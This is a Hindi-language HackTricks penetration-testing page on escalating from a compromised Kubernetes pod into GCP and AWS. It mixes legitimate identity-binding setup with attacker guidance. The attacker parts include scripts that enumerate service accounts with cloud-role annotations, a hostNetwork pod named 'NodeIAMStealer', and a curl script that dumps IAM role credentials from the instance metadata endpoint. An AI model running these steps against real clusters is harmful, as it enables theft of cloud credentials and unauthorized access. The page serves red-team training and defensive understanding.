Kubernetes Pivoting to Clouds

Reading time: 13 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

GCP

यदि आप GCP के अंदर एक k8s क्लस्टर चला रहे हैं, तो आप शायद चाहेंगे कि क्लस्टर के अंदर चलने वाला कुछ एप्लिकेशन GCP तक कुछ पहुंच प्राप्त करे। ऐसा करने के 2 सामान्य तरीके हैं:

GCP-SA कुंजी को गुप्त के रूप में माउंट करना

GCP तक एक kubernetes एप्लिकेशन को पहुंच देने का एक सामान्य तरीका है:

  • एक GCP सेवा खाता बनाएं
  • उस पर इच्छित अनुमतियों को बांधें
  • बनाए गए SA की एक json कुंजी डाउनलोड करें
  • इसे पॉड के अंदर एक गुप्त के रूप में माउंट करें
  • GOOGLE_APPLICATION_CREDENTIALS पर्यावरण चर को उस पथ की ओर इंगित करें जहां json है।

warning

इसलिए, एक हमलावर के रूप में, यदि आप एक पॉड के अंदर एक कंटेनर से समझौता करते हैं, तो आपको उस env variable और json files की जांच करनी चाहिए जिनमें GCP क्रेडेंशियल्स हैं।

GSA json को KSA गुप्त से संबंधित करना

GKE क्लस्टर को GSA तक पहुंच देने का एक तरीका इस प्रकार है:

  • निम्नलिखित कमांड का उपयोग करके अपने GKE क्लस्टर के समान नामस्थान में एक Kubernetes सेवा खाता बनाएं:
bash
Copy codekubectl create serviceaccount <service-account-name>
  • एक Kubernetes Secret बनाएं जिसमें GKE क्लस्टर तक पहुँच प्रदान करने के लिए GCP सेवा खाते के क्रेडेंशियल्स शामिल हों। आप इसे gcloud कमांड-लाइन टूल का उपयोग करके कर सकते हैं, जैसा कि निम्नलिखित उदाहरण में दिखाया गया है:
bash
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Kubernetes सेवा खाते के साथ Kubernetes Secret को निम्नलिखित कमांड का उपयोग करके बाइंड करें:
bash
Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

warning

दूसरे चरण में KSA के रहस्य के रूप में GSA के प्रमाणपत्र सेट किए गए थे। फिर, यदि आप GKE क्लस्टर के अंदर से उस रहस्य को पढ़ सकते हैं, तो आप उस GCP सेवा खाते तक उन्नति कर सकते हैं।

GKE कार्यभार पहचान

कार्यभार पहचान के साथ, हम एक Kubernetes सेवा खाता को Google सेवा खाता के रूप में कार्य करने के लिए कॉन्फ़िगर कर सकते हैं। Kubernetes सेवा खाते के साथ चलने वाले पॉड Google क्लाउड APIs तक पहुँचते समय स्वचालित रूप से Google सेवा खाते के रूप में प्रमाणित होंगे।

इस व्यवहार को सक्षम करने के लिए पहली श्रृंखला के चरण हैं GCP में कार्यभार पहचान को सक्षम करना (चरण) और वह GCP SA बनाना जिसे आप k8s के रूप में कार्य करना चाहते हैं।

  • नए क्लस्टर पर कार्यभार पहचान सक्षम करें
bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • नया नोडपूल बनाएं/अपडेट करें (ऑटोपायलट क्लस्टर को इसकी आवश्यकता नहीं है)
bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • K8s से GCP अनुमतियों के साथ GCP सेवा खाता बनाएं जिसे अनुकरण करना है:
bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • क्लस्टर से जुड़ें और सेवा खाता बनाएँ जिसका उपयोग करें
bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • GSA को KSA के साथ बाइंड करें
bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • KSA के साथ एक pod चलाएँ और GSA तक पहुँच की जाँच करें:
bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

नीचे दिए गए कमांड को जांचें ताकि आवश्यकता होने पर प्रमाणीकरण किया जा सके:

bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

warning

एक हमलावर के रूप में K8s के अंदर आपको SAs के लिए खोज करनी चाहिए जिनके पास iam.gke.io/gcp-service-account एनोटेशन है क्योंकि यह संकेत करता है कि SA GCP में कुछ तक पहुँच सकता है। एक और विकल्प होगा कि क्लस्टर में प्रत्येक KSA का दुरुपयोग करने की कोशिश करें और जांचें कि क्या इसकी पहुँच है।
GCP से हमेशा बाइंडिंग को सूचीबद्ध करना और जानना महत्वपूर्ण है कि आप Kubernetes के अंदर SAs को कौन सी पहुँच दे रहे हैं

यह एक स्क्रिप्ट है जो आसानी से सभी पॉड्स परिभाषाओं को देखने के लिए इटरेट करती है कि एनोटेशन के लिए:

bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (Pods के लिए IAM भूमिका)

Pods को IAM Roles देने का (पुराना) तरीका एक Kiam या Kube2IAM सर्वर का उपयोग करना है। मूल रूप से, आपको अपने क्लस्टर में एक daemonset चलाने की आवश्यकता होगी जिसमें एक प्रिविलेज्ड IAM भूमिका हो। यह daemonset उन pods को IAM भूमिकाओं तक पहुँच प्रदान करेगा जिन्हें इसकी आवश्यकता है।

सबसे पहले, आपको यह कॉन्फ़िगर करने की आवश्यकता है कि कौन सी भूमिकाएँ namespace के अंदर एक्सेस की जा सकती हैं, और आप यह namespace ऑब्जेक्ट के अंदर एक एनोटेशन के साथ करते हैं:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

एक बार जब नामस्थान IAM भूमिकाओं के साथ कॉन्फ़िगर हो जाता है, तो Pods में आप जिस भूमिका को चाहते हैं, उसे प्रत्येक पोड परिभाषा में कुछ इस तरह संकेतित कर सकते हैं:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

warning

एक हमलावर के रूप में, यदि आप इन एनोटेशन को पॉड्स या नेमस्पेस में या एक kiam/kube2iam सर्वर (संभवतः kube-system में) चलाते हुए पाते हैं, तो आप हर उस रोल का नकली रूप धारण कर सकते हैं जो पहले से पॉड्स द्वारा उपयोग किया जा रहा है और अधिक (यदि आपके पास AWS खाते तक पहुंच है तो भूमिकाओं की सूची बनाएं)।

IAM भूमिका के साथ पॉड बनाएं

note

IAM भूमिका जो इंगित की जानी चाहिए, वह उसी AWS खाते में होनी चाहिए जैसे कि kiam/kube2iam भूमिका और उस भूमिका को इसे एक्सेस करने में सक्षम होना चाहिए।

yaml
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role for K8s Service Accounts via OIDC

यह AWS द्वारा अनुशंसित तरीका है।

  1. सबसे पहले आपको क्लस्टर के लिए OIDC प्रदाता बनाना होगा
  2. फिर आप एक IAM भूमिका बनाते हैं जिसमें SA को आवश्यक अनुमतियाँ होती हैं।
  3. एक विश्वास संबंध बनाएं IAM भूमिका और SA के बीच नाम (या उन namespaces को जो भूमिका को namespace के सभी SAs तक पहुँच प्रदान करते हैं)। विश्वास संबंध मुख्य रूप से OIDC प्रदाता का नाम, namespace का नाम और SA का नाम जांचेगा
  4. अंत में, एक SA बनाएं जिसमें भूमिका के ARN को इंगित करने वाला एक एनोटेशन हो, और उस SA के साथ चलने वाले पॉड्स को भूमिका के टोकन तक पहुँच होगी। टोकन एक फ़ाइल के अंदर लिखा जाता है और पथ AWS_WEB_IDENTITY_TOKEN_FILE में निर्दिष्ट किया गया है (डिफ़ॉल्ट: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

टोकन का उपयोग करके aws प्राप्त करने के लिए /var/run/secrets/eks.amazonaws.com/serviceaccount/token से चलाएँ:

bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

warning

एक हमलावर के रूप में, यदि आप एक K8s क्लस्टर को सूचीबद्ध कर सकते हैं, तो AWS पर उन्नति करने के लिए उस एनोटेशन के साथ सेवा खातों की जांच करें। ऐसा करने के लिए, बस एक IAM विशिष्ट सेवा खाते का उपयोग करके exec/create एक pod करें और टोकन चुराएं।

इसके अलावा, यदि आप एक pod के अंदर हैं, तो AWS_ROLE_ARN और AWS_WEB_IDENTITY_TOKEN जैसे env वेरिएबल्स की जांच करें।

caution

कभी-कभी एक भूमिका की Turst Policy खराब कॉन्फ़िगर की जा सकती है और अपेक्षित सेवा खाते को AssumeRole एक्सेस देने के बजाय, यह सभी सेवा खातों को देती है। इसलिए, यदि आप एक नियंत्रित सेवा खाते पर एक एनोटेशन लिखने में सक्षम हैं, तो आप भूमिका तक पहुंच सकते हैं।

अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करें:

AWS - Federation Abuse

Find Pods a SAs with IAM Roles in the Cluster

यह एक स्क्रिप्ट है जो आसानी से सभी pods और sas परिभाषाओं को देखने के लिए इटरेट करती है जो उस एनोटेशन की तलाश करती है:

bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role

पिछला अनुभाग IAM Roles को pods के साथ चुराने के बारे में था, लेकिन ध्यान दें कि K8s क्लस्टर का एक Node क्लाउड के अंदर एक इंस्टेंस होने वाला है। इसका मतलब है कि Node के पास एक नया IAM रोल हो सकता है जिसे आप चुरा सकते हैं (ध्यान दें कि आमतौर पर K8s क्लस्टर के सभी नोड्स के पास एक ही IAM रोल होगा, इसलिए प्रत्येक नोड पर जांचने की कोशिश करना शायद इसके लायक नहीं है)।

हालांकि, नोड से मेटाडेटा एंडपॉइंट तक पहुंचने के लिए एक महत्वपूर्ण आवश्यकता है, आपको नोड में होना चाहिए (ssh सत्र?) या कम से कम उसी नेटवर्क में होना चाहिए:

bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

IAM भूमिका टोकन चुराना

पहले हमनें चर्चा की है कि Pods को IAM भूमिकाएँ कैसे संलग्न करें या यहां तक कि IAM भूमिका चुराने के लिए नोड पर कैसे भागें जो इंस्टेंस के साथ संलग्न है।

आप अपने नए मेहनत से कमाए गए IAM भूमिका क्रेडेंशियल्स को चुराने के लिए निम्नलिखित स्क्रिप्ट का उपयोग कर सकते हैं:

bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें